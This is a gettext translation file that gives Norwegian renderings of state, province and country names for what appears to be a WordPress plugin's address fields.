#: i18n/states.php:892
msgid "Benevento"
msgstr "Benevento"
#: i18n/states.php:891
msgid "Belluno"
msgstr "Belluno"
#: i18n/states.php:890
msgid "Barletta-Andria-Trani"
msgstr "Barletta-Andria-Trani"
#: i18n/states.php:889
msgid "Bari"
msgstr "Bari"
#: i18n/states.php:888
msgid "Avellino"
msgstr "Avellino"
#: i18n/states.php:887
msgid "Asti"
msgstr "Asti"
#: i18n/states.php:886
msgid "Ascoli Piceno"
msgstr "Ascoli Piceno"
#: i18n/states.php:885
msgid "Arezzo"
msgstr "Arezzo"
#: i18n/states.php:884
msgid "Aosta"
msgstr "Aosta"
#: i18n/states.php:883
msgid "Ancona"
msgstr "Ancona"
#: i18n/states.php:882
msgid "Alessandria"
msgstr "Alessandria"
#: i18n/states.php:881
msgid "Agrigento"
msgstr "Agrigento"
#: i18n/states.php:877
msgid "Sistan and Baluchestan (سیستان و بلوچستان)"
msgstr "Sistan og Baluchestan (سیستان و بلوچستان)"
#: i18n/states.php:876
msgid "Hormozgan (هرمزگان)"
msgstr "Hormozgan (هرمزگان)"
#: i18n/states.php:875
msgid "Markazi (مرکزی)"
msgstr "Markazi (مرکزی)"
#: i18n/states.php:874
msgid "Mazandaran (مازندران)"
msgstr "Mazandaran (مازندران)"
#: i18n/states.php:873
msgid "Gilan (گیلان)"
msgstr "Gilan (گیلان)"
#: i18n/states.php:872
msgid "Golestan (گلستان)"
msgstr "Golestan (گلستان)"
#: i18n/states.php:871
msgid "Kohgiluyeh and BoyerAhmad (کهگیلوییه و بویراحمد)"
msgstr "Kohgiluyeh og BoyerAhmad (کهگیلوییه و بویراحمد)"
#: i18n/states.php:870
msgid "Kurdistan / کردستان)"
msgstr "Kurdistan / کردستان)"
#: i18n/states.php:869
msgid "Qom (قم)"
msgstr "Qom (قم)"
#: i18n/states.php:868
msgid "Fars (فارس)"
msgstr "Fars (فارس)"
#: i18n/states.php:867
msgid "Semnan (سمنان)"
msgstr "Semnan (سمنان)"
#: i18n/states.php:866
msgid "North Khorasan (خراسان شمالی)"
msgstr "North Khorasan (خراسان شمالی)"
#: i18n/states.php:865
msgid "Razavi Khorasan (خراسان رضوی)"
msgstr "Razavi Khorasan (خراسان رضوی)"
#: i18n/states.php:864
msgid "South Khorasan (خراسان جنوبی)"
msgstr "Sør-Khorasan (خراسان جنوبی)"
#: i18n/states.php:863
msgid "Chaharmahal and Bakhtiari (چهارمحال و بختیاری)"
msgstr "Chaharmahal og Bakhtiari (چهارمحال و بختیاری)"
#: i18n/states.php:862
msgid "West Azarbaijan (آذربایجان غربی)"
msgstr "Vest-Azarbaijan (آذربایجان غربی)"
#: i18n/states.php:861
msgid "East Azarbaijan (آذربایجان شرقی)"
msgstr "Øst-Azarbaijan (آذربایجان شرقی)"
#: i18n/states.php:860
msgid "Alborz (البرز)"
msgstr "Alborz (البرز)"
#: i18n/states.php:859
msgid "Luristan (لرستان)"
msgstr "Luristan (لرستان)"
#: i18n/states.php:858
msgid "Zanjan (زنجان)"
msgstr "Zanjan (زنجان)"
#: i18n/states.php:857
msgid "Ghazvin (قزوین)"
msgstr "Ghazvin (قزوین)"
#: i18n/states.php:856
msgid "Hamadan (همدان)"
msgstr "Hamadan (همدان)"
#: i18n/states.php:855
msgid "Kerman (کرمان)"
msgstr "Kerman (کرمان)"
#: i18n/states.php:854
msgid "Kermanshah (کرمانشاه)"
msgstr "Kermanshah (کرمانشاه)"
#: i18n/states.php:853
msgid "Yazd (یزد)"
msgstr "Yazd (یزد)"
#: i18n/states.php:852
msgid "Isfahan (اصفهان)"
msgstr "Isfahan (اصفهان)"
#: i18n/states.php:851
msgid "Ardabil (اردبیل)"
msgstr "Ardabil (اردبیل)"
#: i18n/states.php:850
msgid "Bushehr (بوشهر)"
msgstr "Bushehr (بوشهر)"
#: i18n/states.php:849
msgid "Ilaam (ایلام)"
msgstr "Ilaam (ایلام)"
#: i18n/states.php:848
msgid "Tehran (تهران)"
msgstr "Teheran (تهران)"
#: i18n/states.php:847
msgid "Khuzestan (خوزستان)"
msgstr "Khuzestan (خوزستان)"
#: i18n/states.php:836
msgid "Pondicherry (Puducherry)"
msgstr "Pondicherry (Puducherry)"
#: i18n/states.php:827
msgid "Lakshadweep"
msgstr "Lakshadweep"
#: i18n/states.php:816
msgid "Delhi"
msgstr "Delhi"
#: i18n/states.php:814
msgid "Daman and Diu"
msgstr "Daman og Diu"
#: i18n/states.php:817
msgid "Dadra and Nagar Haveli"
msgstr "Dadar og Nagar Haveli"
#: i18n/states.php:812
msgid "Chandigarh"
msgstr "Chandigarh"
#: i18n/states.php:807
msgid "Andaman and Nicobar Islands"
msgstr "Andaman og Nicobarøyene"
#: i18n/states.php:844
msgid "West Bengal"
msgstr "Vest-Bengal"
#: i18n/states.php:842
msgid "Uttar Pradesh"
msgstr "Uttar Pradesh"
#: i18n/states.php:843
msgid "Uttarakhand"
msgstr "Uttarakhand"
#: i18n/states.php:841
msgid "Tripura"
msgstr "Tripura"
#: i18n/states.php:839
msgid "Telangana"
msgstr "Telangana"
#: i18n/states.php:840
msgid "Tamil Nadu"
msgstr "Tamil Nadu"
#: i18n/states.php:838
msgid "Sikkim"
msgstr "Sikkim"
#: i18n/states.php:837
msgid "Rajasthan"
msgstr "Rajasthan"
#: i18n/states.php:835 i18n/states.php:1599
msgid "Punjab"
msgstr "Punjab"
#: i18n/states.php:833
msgid "Nagaland"
msgstr "Nagaland"
#: i18n/states.php:832
msgid "Mizoram"
msgstr "Mizoram"
#: i18n/states.php:829
msgid "Meghalaya"
msgstr "Meghalaya"
#: i18n/states.php:830
msgid "Manipur"
msgstr "Manipur"
#: i18n/states.php:828
msgid "Maharashtra"
msgstr "Maharashtra"
#: i18n/states.php:831
msgid "Madhya Pradesh"
msgstr "Madhya Pradesh"
#: i18n/states.php:825
msgid "Kerala"
msgstr "Kerala"
#: i18n/states.php:824
msgid "Karnataka"
msgstr "Karnataka"
#: i18n/states.php:822
msgid "Jharkhand"
msgstr "Jharkhand"
#: i18n/states.php:823
msgid "Jammu and Kashmir"
msgstr "Jammu og Kashmir"
#: i18n/states.php:820
msgid "Himachal Pradesh"
msgstr "Himachal Pradesh"
#: i18n/states.php:821
msgid "Haryana"
msgstr "Haryana"
#: i18n/states.php:819
msgid "Gujarat"
msgstr "Gujarat"
#: i18n/states.php:818
msgid "Goa"
msgstr "Goa"
#: i18n/states.php:813
msgid "Chhattisgarh"
msgstr "Chhattisgarh"
#: i18n/states.php:811
msgid "Bihar"
msgstr "Bihar"
#: i18n/states.php:810
msgid "Assam"
msgstr "Assam"
#: i18n/states.php:809
msgid "Arunachal Pradesh"
msgstr "Arunachal Pradesh"
#: i18n/states.php:808
msgid "Andhra Pradesh"
msgstr "Andhra Pradesh"
#: i18n/states.php:776
msgid "Papua Barat"
msgstr "Papua Barat"
#: i18n/states.php:775
msgid "Papua"
msgstr "Papua"
#: i18n/states.php:774
msgid "Maluku Utara"
msgstr "Maluku Utara"
#: i18n/states.php:773
msgid "Maluku"
msgstr "Maluku"
#: i18n/states.php:772
msgid "Gorontalo"
msgstr "Gorontalo"
#: i18n/states.php:771
msgid "Sulawesi Selatan"
msgstr "Sulawesi Selatan"
#: i18n/states.php:770
msgid "Sulawesi Barat"
msgstr "Sulawesi Barat"
#: i18n/states.php:769
msgid "Sulawesi Tenggara"
msgstr "Sulawesi Tenggara"
#: i18n/states.php:768
msgid "Sulawesi Tengah"
msgstr "Sulawesi Tengah"
#: i18n/states.php:767
msgid "Sulawesi Utara"
msgstr "Sulawesi Utara"
#: i18n/states.php:766
msgid "Kalimantan Utara"
msgstr "Kalimantan Utara"
#: i18n/states.php:765
msgid "Kalimantan Selatan"
msgstr "Kalimantan Selatan"
#: i18n/states.php:764
msgid "Kalimantan Timur"
msgstr "Kalimantan Timur"
#: i18n/states.php:763
msgid "Kalimantan Tengah"
msgstr "Kalimantan Tengah"
#: i18n/states.php:762
msgid "Kalimantan Barat"
msgstr "Kalimantan Barat"
#: i18n/states.php:761
msgid "Nusa Tenggara Timur"
msgstr "Nusa Tenggara Timur"
#: i18n/states.php:760
msgid "Nusa Tenggara Barat"
msgstr "Nusa Tenggara Barat"
#: i18n/states.php:759
msgid "Bali"
msgstr "Bali"
#: i18n/states.php:758
msgid "Daerah Istimewa Yogyakarta"
msgstr "Daerah Istimewa Yogyakarta"
#: i18n/states.php:757
msgid "Jawa Timur"
msgstr "Jawa Timur"
#: i18n/states.php:756
msgid "Jawa Tengah"
msgstr "Jawa Tengah"
#: i18n/states.php:755
msgid "Banten"
msgstr "Banten"
#: i18n/states.php:754
msgid "Jawa Barat"
msgstr "Jawa Barat"
#: i18n/states.php:753
msgid "DKI Jakarta"
msgstr "DKI Jakarta"
#: i18n/states.php:752
msgid "Lampung"
msgstr "Lampung"
#: i18n/states.php:751
msgid "Bengkulu"
msgstr "Bengkulu"
#: i18n/states.php:750
msgid "Bangka Belitung"
msgstr "Bangka Belitung"
#: i18n/states.php:749
msgid "Sumatera Selatan"
msgstr "Sumatera Selatan"
#: i18n/states.php:748
msgid "Jambi"
msgstr "Jambi"
#: i18n/states.php:747
msgid "Kepulauan Riau"
msgstr "Kepulauan Riau"
#: i18n/states.php:746
msgid "Riau"
msgstr "Riau"
#: i18n/states.php:745
msgid "Sumatera Barat"
msgstr "Sumatera Barat"
#: i18n/states.php:744
msgid "Sumatera Utara"
msgstr "Sumatera Utara"
#: i18n/states.php:743
msgid "Daerah Istimewa Aceh"
msgstr "Daerah Istimewa Aceh"
#: i18n/states.php:740
msgid "Zala"
msgstr "Zala"
#: i18n/states.php:739
msgid "Veszprém"
msgstr "Veszprém"
#: i18n/states.php:738
msgid "Vas"
msgstr "Vas"
#: i18n/states.php:737
msgid "Tolna"
msgstr "Tolna"
#: i18n/states.php:736
msgid "Szabolcs-Szatmár-Bereg"
msgstr "Szabolcs-Szatmár-Bereg"
#: i18n/states.php:735
msgid "Somogy"
msgstr "Somogy"
#: i18n/states.php:734
msgid "Pest"
msgstr "Pest"
#: i18n/states.php:733
msgid "Nógrád"
msgstr "Nógrád"
#: i18n/states.php:732
msgid "Komárom-Esztergom"
msgstr "Komárom-Esztergom"
#: i18n/states.php:731
msgid "Jász-Nagykun-Szolnok"
msgstr "Jász-Nagykun-Szolnok"
#: i18n/states.php:730
msgid "Heves"
msgstr "Heves"
#: i18n/states.php:729
msgid "Hajdú-Bihar"
msgstr "Hajdú-Bihar"
#: i18n/states.php:728
msgid "Győr-Moson-Sopron"
msgstr "Győr-Moson-Sopron"
#: i18n/states.php:727
msgid "Fejér"
msgstr "Fejér"
#: i18n/states.php:725
msgid "Budapest"
msgstr "Budapest"
#: i18n/states.php:724
msgid "Borsod-Abaúj-Zemplén"
msgstr "Borsod-Abaúj-Zemplén"
#: i18n/states.php:723
msgid "Baranya"
msgstr "Baranya"
#: i18n/states.php:722
msgid "Békés"
msgstr "Békés"
#: i18n/states.php:721
msgid "Bács-Kiskun"
msgstr "Bács-Kiskun"
#: i18n/states.php:675
msgid "New Territories"
msgstr "New Territories"
#: i18n/states.php:674
msgid "Kowloon"
msgstr "Kowloon"
#: i18n/states.php:673
msgid "Hong Kong Island"
msgstr "Hong Kong-Øya"
#: i18n/states.php:607
msgid "Zaragoza"
msgstr "Zaragoza"
#: i18n/states.php:606
msgid "Zamora"
msgstr "Zamora"
#: i18n/states.php:604
msgid "Valladolid"
msgstr "Valladolid"
#: i18n/states.php:603
msgid "Valencia"
msgstr "Valencia"
#: i18n/states.php:602
msgid "Toledo"
msgstr "Toledo"
#: i18n/states.php:601
msgid "Teruel"
msgstr "Teruel"
#: i18n/states.php:600
msgid "Tarragona"
msgstr "Tarragona"
#: i18n/states.php:599
msgid "Soria"
msgstr "Soria"
#: i18n/states.php:598
msgid "Sevilla"
msgstr "Sevilla"
#: i18n/states.php:597
msgid "Segovia"
msgstr "Segovia"
#: i18n/states.php:596
msgid "Santa Cruz de Tenerife"
msgstr "Santa Cruz de Tenerife"
#: i18n/states.php:595
msgid "Salamanca"
msgstr "Salamanca"
#: i18n/states.php:594
msgid "Pontevedra"
msgstr "Pontevedra"
#: i18n/states.php:593
msgid "Palencia"
msgstr "Palencia"
#: i18n/states.php:592
msgid "Ourense"
msgstr "Ourense"
#: i18n/states.php:591
msgid "Navarra"
msgstr "Navarra"
#: i18n/states.php:590
msgid "Murcia"
msgstr "Murcia"
#: i18n/states.php:589
msgid "Melilla"
msgstr "Melilla"
#: i18n/states.php:587
msgid "Madrid"
msgstr "Madrid"
#: i18n/states.php:586
msgid "Lugo"
msgstr "Lugo"
#: i18n/states.php:585
msgid "Lleida"
msgstr "Lleida"
#: i18n/states.php:583
msgid "Las Palmas"
msgstr "Las Palmas"
#: i18n/states.php:580
msgid "Huesca"
msgstr "Huesca"
#: i18n/states.php:579
msgid "Huelva"
msgstr "Huelva"
#: i18n/states.php:578
msgid "Gipuzkoa"
msgstr "Gipuzkoa"
#: i18n/states.php:577
msgid "Guadalajara"
msgstr "Guadalajara"
#: i18n/states.php:576 i18n/states.php:1436
msgid "Granada"
msgstr "Granada"
#: i18n/states.php:575
msgid "Girona"
msgstr "Girona"
#: i18n/states.php:574
msgid "Cuenca"
msgstr "Cuenca"
#: i18n/states.php:572
msgid "Ciudad Real"
msgstr "Ciudad Real"
#: i18n/states.php:571
msgid "Ceuta"
msgstr "Ceuta"
#: i18n/states.php:569
msgid "Cantabria"
msgstr "Cantabria"
#: i18n/states.php:566
msgid "Burgos"
msgstr "Burgos"
#: i18n/states.php:565
msgid "Barcelona"
msgstr "Barcelona"
#: i18n/states.php:564
msgid "Baleares"
msgstr "Baleares"
#: i18n/states.php:563
msgid "Badajoz"
msgstr "Badajoz"
#: i18n/states.php:561
msgid "Asturias"
msgstr "Asturias"
#: i18n/states.php:559
msgid "Alicante"
msgstr "Alicante"
#: i18n/states.php:558
msgid "Albacete"
msgstr "Albacete"
#: i18n/states.php:259
msgid "Yukon Territory"
msgstr "Yukon Territory"
#: i18n/states.php:258
msgid "Saskatchewan"
msgstr "Saskatchewan"
#: i18n/states.php:257
msgid "Quebec"
msgstr "Quebec"
#: i18n/states.php:256
msgid "Prince Edward Island"
msgstr "Prince Edward Island"
#: i18n/states.php:255
msgid "Ontario"
msgstr "Ontario"
#: i18n/states.php:254
msgid "Nunavut"
msgstr "Nunavut"
#: i18n/states.php:253
msgid "Nova Scotia"
msgstr "Nova Scotia"
#: i18n/states.php:252
msgid "Northwest Territories"
msgstr "Northwest Territories"
#: i18n/states.php:251
msgid "Newfoundland and Labrador"
msgstr "Newfoundland and Labrador"
#: i18n/states.php:250
msgid "New Brunswick"
msgstr "New Brunswick"
#: i18n/states.php:249
msgid "Manitoba"
msgstr "Manitoba"
#: i18n/states.php:248
msgid "British Columbia"
msgstr "Britisk Columbia"
#: i18n/states.php:247
msgid "Alberta"
msgstr "Alberta"
#: i18n/states.php:244
msgid "Tocantins"
msgstr "Tocantins"
#: i18n/states.php:243
msgid "Sergipe"
msgstr "Sergipe"
#: i18n/states.php:241
msgid "Santa Catarina"
msgstr "Santa Catarina"
#: i18n/states.php:240
msgid "Roraima"
msgstr "Roraima"
#: i18n/states.php:238
msgid "Rio Grande do Sul"
msgstr "Rio Grande Sør"
#: i18n/states.php:237
msgid "Rio Grande do Norte"
msgstr "Rio Grande Nord"
#: i18n/states.php:236
msgid "Rio de Janeiro"
msgstr "Rio de Janeiro"
#: i18n/states.php:234
msgid "Pernambuco"
msgstr "Pernambuco"
#: i18n/states.php:230
msgid "Minas Gerais"
msgstr "Minas Gerais"
#: i18n/states.php:229
msgid "Mato Grosso do Sul"
msgstr "Mata Grosso sør"
#: i18n/states.php:228
msgid "Mato Grosso"
msgstr "Mato Grosso"
#: i18n/states.php:224
msgid "Distrito Federal"
msgstr "Distrito Federal (Føderale distrikt)"
#: i18n/states.php:222
msgid "Bahia"
msgstr "Bahia"
#: i18n/states.php:221 i18n/states.php:342 i18n/states.php:1483
#: i18n/states.php:2208
msgid "Amazonas"
msgstr "Amazonas"
#: i18n/states.php:219
msgid "Alagoas"
msgstr "Alagoas"
#: i18n/states.php:218
msgid "Acre"
msgstr "Acre"
#: i18n/states.php:188
msgid "Yambol"
msgstr "Yambol"
#: i18n/states.php:187
msgid "Vratsa"
msgstr "Vratsa"
#: i18n/states.php:186
msgid "Vidin"
msgstr "Vidin"
#: i18n/states.php:185
msgid "Veliko Tarnovo"
msgstr "Veliko Tarnovo"
#: i18n/states.php:184
msgid "Varna"
msgstr "Varna"
#: i18n/states.php:183
msgid "Targovishte"
msgstr "Targovishte"
#: i18n/states.php:182
msgid "Stara Zagora"
msgstr "Stara Zagora"
#: i18n/states.php:181
msgid "Sofia"
msgstr "Sofia"
#: i18n/states.php:179
msgid "Smolyan"
msgstr "Smolyan"
#: i18n/states.php:178
msgid "Sliven"
msgstr "Sliven"
#: i18n/states.php:177
msgid "Silistra"
msgstr "Silistra"
#: i18n/states.php:176
msgid "Shumen"
msgstr "Shumen"
#: i18n/states.php:175
msgid "Ruse"
msgstr "Ruse"
#: i18n/states.php:174
msgid "Razgrad"
msgstr "Razgrad"
#: i18n/states.php:173
msgid "Plovdiv"
msgstr "Plovdiv"
#: i18n/states.php:172
msgid "Pleven"
msgstr "Pleven"
#: i18n/states.php:171
msgid "Pernik"
msgstr "Pernik"
#: i18n/states.php:170
msgid "Pazardzhik"
msgstr "Pazardzhik"
#: i18n/states.php:169 i18n/states.php:2133
msgid "Montana"
msgstr "Montana"
#: i18n/states.php:168
msgid "Lovech"
msgstr "Lovech"
#: i18n/states.php:167
msgid "Kyustendil"
msgstr "Kyustendil"
#: i18n/states.php:166
msgid "Kardzhali"
msgstr "Kardzhali"
#: i18n/states.php:165
msgid "Haskovo"
msgstr "Haskovo"
#: i18n/states.php:164
msgid "Gabrovo"
msgstr "Gabrovo"
#: i18n/states.php:163
msgid "Dobrich"
msgstr "Dobrich"
#: i18n/states.php:162
msgid "Burgas"
msgstr "Burgas"
#: i18n/states.php:161
msgid "Blagoevgrad"
msgstr "Blagoevgrad"
#: i18n/states.php:157
msgid "Thakurgaon"
msgstr "Thakurgaon"
#: i18n/states.php:156
msgid "Tangail"
msgstr "Tangail"
#: i18n/states.php:155
msgid "Sylhet"
msgstr "Sylhet"
#: i18n/states.php:154
msgid "Sunamganj"
msgstr "Sunamganj"
#: i18n/states.php:153
msgid "Sirajganj"
msgstr "Sirajganj"
#: i18n/states.php:152
msgid "Sherpur"
msgstr "Sherpur"
#: i18n/states.php:151
msgid "Shariatpur"
msgstr "Shariatpur"
#: i18n/states.php:150
msgid "Satkhira"
msgstr "Satkhira"
#: i18n/states.php:149
msgid "Rangpur"
msgstr "Rangpur"
#: i18n/states.php:148
msgid "Rangamati"
msgstr "Rangamati"
#: i18n/states.php:147
msgid "Rajshahi"
msgstr "Rajshahi"
#: i18n/states.php:146
msgid "Rajbari"
msgstr "Rajbari"
#: i18n/states.php:145
msgid "Pirojpur"
msgstr "Pirojpur"
#: i18n/states.php:144
msgid "Patuakhali"
msgstr "Patuakhali"
#: i18n/states.php:143
msgid "Panchagarh"
msgstr "Panchagarh"
#: i18n/states.php:142
msgid "Pabna"
msgstr "Pabna"
#: i18n/states.php:141
msgid "Noakhali"
msgstr "Noakhali"
#: i18n/states.php:140
msgid "Nilphamari"
msgstr "Nilphamari"
#: i18n/states.php:139
msgid "Netrakona"
msgstr "Nawabganj"
#: i18n/states.php:138
msgid "Nawabganj"
msgstr "Nawabganj"
#: i18n/states.php:137
msgid "Natore"
msgstr "Natore"
#: i18n/states.php:136
msgid "Narsingdi"
msgstr "Narsingdi"
#: i18n/states.php:135
msgid "Narayanganj"
msgstr "Narayanganj"
#: i18n/states.php:134
msgid "Narail"
msgstr "Narail"
#: i18n/states.php:133
msgid "Naogaon"
msgstr "Naogaon"
#: i18n/states.php:132
msgid "Mymensingh"
msgstr "Mymensingh"
#: i18n/states.php:131
msgid "Munshiganj"
msgstr "Munshiganj"
#: i18n/states.php:130
msgid "Moulvibazar"
msgstr "Moulvibazar"
#: i18n/states.php:129
msgid "Meherpur"
msgstr "Meherpur"
#: i18n/states.php:128
msgid "Manikganj "
msgstr "Manikganj "
#: i18n/states.php:127
msgid "Magura"
msgstr "Magura"
#: i18n/states.php:126
msgid "Madaripur"
msgstr "Madaripur"
#: i18n/states.php:125
msgid "Lalmonirhat"
msgstr "Lalmonirhat"
#: i18n/states.php:124
msgid "Lakshmipur"
msgstr "Lakshmipur"
#: i18n/states.php:123
msgid "Kushtia"
msgstr "Kushtia"
#: i18n/states.php:122
msgid "Kurigram"
msgstr "Kurigram"
#: i18n/states.php:121
msgid "Kishoreganj"
msgstr "Kishoreganj"
#: i18n/states.php:120
msgid "Khulna"
msgstr "Khulna"
#: i18n/states.php:119
msgid "Khagrachhari"
msgstr "Khagrachhari"
#: i18n/states.php:118
msgid "Joypurhat"
msgstr "Joypurhat"
#: i18n/states.php:117
msgid "Jhenaidah"
msgstr "Jhenaidah"
#: i18n/states.php:116
msgid "Jhalokati"
msgstr "Jhalokati"
#: i18n/states.php:114
msgid "Jamalpur"
msgstr "Jamalpur"
#: i18n/states.php:113
msgid "Habiganj"
msgstr "Habiganj"
#: i18n/states.php:112
msgid "Gopalganj"
msgstr "Gopalganj"
#: i18n/states.php:111
msgid "Gazipur"
msgstr "Gazipur"
#: i18n/states.php:110
msgid "Gaibandha"
msgstr "Gaibandha"
#: i18n/states.php:109
msgid "Feni"
msgstr "Feni"
#: i18n/states.php:108
msgid "Faridpur "
msgstr "Faridpur "
#: i18n/states.php:107
msgid "Dinajpur"
msgstr "Dinajpur"
#: i18n/states.php:106
msgid "Dhaka"
msgstr "Dhaka"
#: i18n/states.php:104
msgid "Cox's Bazar"
msgstr "Cox's Bazar"
#: i18n/states.php:105
msgid "Cumilla"
msgstr "Cumilla"
#: i18n/states.php:103
msgid "Chuadanga"
msgstr "Chuadanga"
#: i18n/states.php:101
msgid "Chandpur"
msgstr "Chandpur"
#: i18n/states.php:100
msgid "Brahmanbaria"
msgstr "Brahmanbaria"
#: i18n/states.php:99
msgid "Bogura"
msgstr "Bogura"
#: i18n/states.php:98
msgid "Bhola"
msgstr "Bhola"
#: i18n/states.php:97
msgid "Barishal"
msgstr "Barishal"
#: i18n/states.php:96
msgid "Barguna"
msgstr "Barguna"
#: i18n/states.php:95
msgid "Bandarban"
msgstr "Bandarban"
#: i18n/states.php:94
msgid "Bagerhat"
msgstr "Bagerhat"
#: i18n/states.php:90
msgid "Western Australia"
msgstr "Vest-Australia"
#: i18n/states.php:89
msgid "Victoria"
msgstr "Victoria"
#: i18n/states.php:88
msgid "Tasmania"
msgstr "Tasmania"
#: i18n/states.php:87
msgid "South Australia"
msgstr "Sør-Australia"
#: i18n/states.php:86
msgid "Queensland"
msgstr "Queensland"
#: i18n/states.php:85
msgid "Northern Territory"
msgstr "Nordterritoriet"
#: i18n/states.php:84
msgid "New South Wales"
msgstr "New South Wales"
#: i18n/states.php:83
msgid "Australian Capital Territory"
msgstr "Australian Capital Territory"
#: i18n/states.php:78
msgid "Tierra del Fuego"
msgstr "Tierra del Fuego"
#: i18n/states.php:77
msgid "Santiago del Estero"
msgstr "Santiago del Estero"
#: i18n/states.php:76
msgid "Santa Fe"
msgstr "Santa Fe"
#: i18n/states.php:75 i18n/states.php:214
msgid "Santa Cruz"
msgstr "Santa Cruz"
#: i18n/states.php:74
msgid "San Luis"
msgstr "San Luis"
#: i18n/states.php:73 i18n/states.php:439
msgid "San Juan"
msgstr "San Juan"
#: i18n/states.php:72
msgid "Salta"
msgstr "Salta"
#: i18n/states.php:69 i18n/states.php:1614
msgid "Misiones"
msgstr "Misiones"
#: i18n/states.php:68
msgid "Mendoza"
msgstr "Mendoza"
#: i18n/states.php:67 i18n/states.php:582
msgid "La Rioja"
msgstr "La Rioja"
#: i18n/states.php:66
msgid "La Pampa"
msgstr "La Pampa"
#: i18n/states.php:65
msgid "Jujuy"
msgstr "Jujuy"
#: i18n/states.php:64
msgid "Formosa"
msgstr "Formosa"
#: i18n/states.php:62
msgid "Corrientes"
msgstr "Corrientes"
#: i18n/states.php:60
msgid "Chubut"
msgstr "Chubut"
#: i18n/states.php:59
msgid "Chaco"
msgstr "Chaco"
#: i18n/states.php:58
msgid "Catamarca"
msgstr "Catamarca"
#: i18n/states.php:57
msgid "Buenos Aires"
msgstr "Buenos Aires"
#: i18n/countries.php:266
msgid "Zimbabwe"
msgstr "Zimbabwe"
#: i18n/countries.php:265
msgid "Zambia"
msgstr "Zambia"
#: i18n/countries.php:264
msgid "Yemen"
msgstr "Jemen"
#: i18n/countries.php:262
msgid "Western Sahara"
msgstr "Vest-Sahara"
#: i18n/countries.php:261
msgid "Wallis and Futuna"
msgstr "Wallis og Futuna"
#: i18n/countries.php:258
msgid "Vietnam"
msgstr "Vietnam"
#: i18n/countries.php:257
msgid "Venezuela"
msgstr "Venezuela"
#: i18n/countries.php:256
msgid "Vatican"
msgstr "Vatikanstaten"
#: i18n/countries.php:255
msgid "Vanuatu"
msgstr "Vanuatu"
#: i18n/countries.php:254
msgid "Uzbekistan"
msgstr "Usbekistan"
#: i18n/countries.php:253
msgid "Uruguay"
msgstr "Uruguay"
#: i18n/countries.php:251
msgid "United States (US)"
msgstr "Amerikas forente stater (USA)"
#: i18n/countries.php:250
msgid "United Kingdom (UK)"
msgstr "Storbritannia (UK)"
#: i18n/countries.php:249
msgid "United Arab Emirates"
msgstr "Forente Arabiske Emirater"
#: i18n/countries.php:248
msgid "Ukraine"
msgstr "Ukraina"
#: i18n/countries.php:247
msgid "Uganda"
msgstr "Uganda"
#: i18n/countries.php:246
msgid "Tuvalu"
msgstr "Tuvalu"
#: i18n/countries.php:245
msgid "Turks and Caicos Islands"
msgstr "Turks- og Caicosøyene"
#: i18n/countries.php:244
msgid "Turkmenistan"
msgstr "Turkmenistan"
#: i18n/countries.php:242
msgid "Tunisia"
msgstr "Tunisia"
#: i18n/countries.php:241
msgid "Trinidad and Tobago"
msgstr "Trinidad og Tobago"
#: i18n/countries.php:240
msgid "Tonga"
msgstr "Tonga"
#: i18n/countries.php:239
msgid "Tokelau"
msgstr "Tokelau"
#: i18n/countries.php:238
msgid "Togo"
msgstr "Togo"
#: i18n/countries.php:237
msgid "Timor-Leste"
msgstr "Øst-Timor"
#: i18n/countries.php:236
msgid "Thailand"
msgstr "Thailand"
#: i18n/countries.php:235
msgid "Tanzania"
msgstr "Tanzania"
#: i18n/countries.php:234
msgid "Tajikistan"
msgstr "Tadsjikistan"
#: i18n/countries.php:233
msgid "Taiwan"
msgstr "Taiwan"
#: i18n/countries.php:232
msgid "Syria"
msgstr "Syria"
#: i18n/countries.php:231
msgid "Switzerland"
msgstr "Sveits"
#: i18n/countries.php:230
msgid "Sweden"
msgstr "Sverige"
#: i18n/countries.php:228
msgid "Svalbard and Jan Mayen"
msgstr "Svalbard og Jan Mayen"
#: i18n/countries.php:227
msgid "Suriname"
msgstr "Surinam"
#: i18n/countries.php:226
msgid "Sudan"
msgstr "Sudan"
#: i18n/countries.php:225
msgid "Sri Lanka"
msgstr "Sri Lanka"
#: i18n/countries.php:224
msgid "Spain"
msgstr "Spania"
#: i18n/countries.php:223
msgid "South Sudan"
msgstr "Sør-Sudan"
#: i18n/countries.php:222
msgid "South Korea"
msgstr "Sør-Korea"
#: i18n/countries.php:221
msgid "South Georgia/Sandwich Islands"
msgstr "Sør-Georgia og Sør-Sandwichøyene"
#: i18n/countries.php:220
msgid "South Africa"
msgstr "Sør-Afrika"
#: i18n/countries.php:219
msgid "Somalia"
msgstr "Somalia"
#: i18n/countries.php:218
msgid "Solomon Islands"
msgstr "Salomonøyene"
#: i18n/countries.php:217
msgid "Slovenia"
msgstr "Slovenia"
#: i18n/countries.php:216
msgid "Slovakia"
msgstr "Slovakia"
#: i18n/countries.php:215
msgid "Singapore"
msgstr "Singapore"
#: i18n/countries.php:214
msgid "Sierra Leone"
msgstr "Sierra Leone"
#: i18n/countries.php:213
msgid "Seychelles"
msgstr "Seychellene"
#: i18n/countries.php:212
msgid "Serbia"
msgstr "Serbia"
#: i18n/countries.php:211
msgid "Senegal"
msgstr "Senegal"
#: i18n/countries.php:210
msgid "Saudi Arabia"
msgstr "Saudi-Arabia"
#: i18n/countries.php:209
msgid "São Tomé and Príncipe"
msgstr "São Tomé og Príncipe"
#: i18n/countries.php:208
msgid "San Marino"
msgstr "San Marino"
#: i18n/countries.php:207
msgid "Saint Vincent and the Grenadines"
msgstr "Saint Vincent og Grenadinene"
#: i18n/countries.php:206
msgid "Saint Pierre and Miquelon"
msgstr "Saint-Pierre og Miquelon"
#: i18n/countries.php:205
msgid "Saint Martin (Dutch part)"
msgstr "Saint Martin (Hollanske delen)"
#: i18n/countries.php:204
msgid "Saint Martin (French part)"
msgstr "Saint Martin (Franske delen)"
#: i18n/countries.php:203
msgid "Saint Lucia"
msgstr "Saint Lucia"
#: i18n/countries.php:202
msgid "Saint Kitts and Nevis"
msgstr "Saint Kitts og Nevis"
#: i18n/countries.php:201
msgid "Saint Helena"
msgstr "St. Helena"
#: i18n/countries.php:200
msgid "Saint Barthélemy"
msgstr "Saint-Barthélemy"
#: i18n/countries.php:199
msgid "Rwanda"
msgstr "Rwanda"
#: i18n/countries.php:198
msgid "Russia"
msgstr "Russland"
#: i18n/countries.php:197
msgid "Romania"
msgstr "Romania"
#: i18n/countries.php:196
msgid "Reunion"
msgstr "Réunion"
#: i18n/countries.php:195
msgid "Qatar"
msgstr "Qatar"
#: i18n/countries.php:193
msgid "Portugal"
msgstr "Portugal"
#: i18n/countries.php:192
msgid "Poland"
msgstr "Polen"
#: i18n/countries.php:191
msgid "Pitcairn"
msgstr "Pitcairnøyene"
